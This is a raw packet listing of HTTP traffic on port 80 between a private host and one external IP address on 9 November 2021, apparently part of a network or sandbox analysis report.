Nov 9, 2021 22:21:17.955746889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955785990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955795050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955825090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955837965 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955864906 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955903053 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955929995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955943108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955981016 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956017971 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956021070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956060886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956064939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956099033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956136942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956137896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956177950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956213951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956223011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956253052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956290007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956300974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956330061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956370115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956370115 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956408978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956446886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956448078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956486940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956522942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956532955 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956562042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956600904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956600904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956640959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956681013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956685066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956718922 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956758022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956763029 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956798077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956837893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956844091 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.956903934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.956959009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.993597031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.993644953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.993684053 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.993725061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.993762970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.993769884 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.993818998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.009865999 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.257616997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258023024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258074999 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258078098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258136988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258189917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258191109 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258249044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258301973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258304119 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258362055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258419991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258431911 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258476019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258517981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258548975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258579969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258634090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258687019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258687973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258722067 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258745909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258799076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258800983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258857965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258908987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.258915901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.258955002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259011030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259053946 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259071112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259126902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259140968 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259176970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259232998 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259233952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259290934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259337902 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259345055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259402990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259454012 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259459972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259501934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259531975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259566069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259599924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259622097 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259627104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259675980 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259725094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259728909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259787083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259838104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259841919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259898901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259948969 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.259959936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.259991884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260045052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260047913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260102987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260154963 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260157108 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260200977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260246038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260251045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260303020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260360956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260380030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260400057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260453939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260457993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260515928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260571957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260571957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260628939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260679960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260688066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260737896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260787010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260790110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260847092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260921955 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.260940075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.260994911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261044025 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261048079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261104107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261157036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261159897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261214018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261264086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261266947 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261322021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261373043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261373997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261442900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261497974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261550903 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261603117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261657000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261708975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261761904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261795044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261815071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261832952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.261873007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261926889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.261982918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262032032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.262032986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262089968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262140036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262192965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262211084 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.262252092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.262340069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.262749910 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.294003010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.294079065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.294137955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.294171095 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.294195890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.294200897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.310008049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.310049057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.310081959 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.354132891 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562355042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562391996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562418938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562448025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562450886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562474012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562500000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562525988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562525988 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562551022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562551975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562578917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562602043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562604904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562630892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562654972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562655926 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562680006 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562707901 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562716007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562722921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562747955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562772036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562793016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562796116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562819958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562825918 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562844992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562869072 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562871933 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562895060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562906027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562921047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562946081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.562948942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562974930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.562999964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563002110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563024998 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563050032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563051939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563075066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563098907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563102961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563122988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563147068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563159943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563179016 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563190937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563194990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563209057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563229084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563249111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563266993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563287020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563306093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563325882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563350916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563355923 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563375950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563405991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563410044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563432932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563456059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563457012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563483953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563503027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563507080 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563533068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563555002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563577890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563580036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563604116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563627958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563643932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563646078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563678026 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563683987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563704967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563730955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563755035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563766003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563780069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563800097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563805103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563806057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563829899 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563832045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563854933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563878059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563878059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563900948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563920975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563927889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563951015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563973904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.563975096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.563996077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564017057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564021111 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.564038992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564063072 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564069033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.564085960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564106941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564116001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.564131975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564140081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.564153910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:18.564266920 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.566407919 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.589389086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:18.889473915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:21.116871119 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:21.410051107 CET	80	49832	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:21.411725044 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:21.411899090 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:21.412429094 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:21.705049992 CET	80	49832	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:21.705251932 CET	80	49832	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:22.409507036 CET	80	49832	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:22.409629107 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:22.418899059 CET	49832	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:22.501763105 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:22.712069035 CET	80	49832	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:22.799036026 CET	80	49833	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:22.799160004 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:22.799314022 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:22.799336910 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:23.096443892 CET	80	49833	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:23.785218000 CET	80	49833	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:23.786098957 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:23.786142111 CET	49833	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:23.815664053 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:24.083836079 CET	80	49833	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:24.112874985 CET	80	49834	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:24.113012075 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:24.113164902 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:24.113190889 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:24.410192013 CET	80	49834	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:25.089201927 CET	80	49834	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:25.089282990 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:25.089447975 CET	49834	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:25.386538029 CET	80	49834	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:25.448851109 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:25.749577999 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:25.749702930 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:25.749810934 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.091350079 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603705883 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603733063 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603759050 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603784084 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603806973 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603828907 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603843927 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.603851080 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603873014 CET	80	49835	47.74.84.15	192.168.2.4
